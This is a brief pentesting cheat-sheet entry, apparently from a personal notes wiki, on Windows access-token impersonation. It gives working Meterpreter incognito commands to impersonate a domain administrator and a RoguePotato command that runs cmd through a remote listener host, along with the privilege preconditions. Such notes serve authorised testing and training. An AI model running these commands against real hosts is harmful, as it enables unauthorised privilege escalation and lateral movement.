pentesting, updated

Token impersonation

Steal or impersonate another logged-on user's access token to act with their privileges on the same host.

Goal

Escalate or pivot to another user’s context on a host where their token is already present in memory, without needing their credentials at all.

How to test

# from a Meterpreter session:
load incognito
list_tokens -u
impersonate_token "CORP\\administrator"

# standalone, if a privileged service can be coerced into connecting:
RoguePotato.exe -r 10.10.14.1 -e "cmd /c whoami"

What to look for

An available token for a higher-privileged account than the one you landed with — common on multi-user jump boxes and hosts where a domain admin has recently logged in or run a scheduled task.

Notes

A service running as SYSTEM with SeImpersonatePrivilege is the usual precondition for a Potato-family exploit even without any token already present.

§ home
~/knubertus/home/
1,1 Top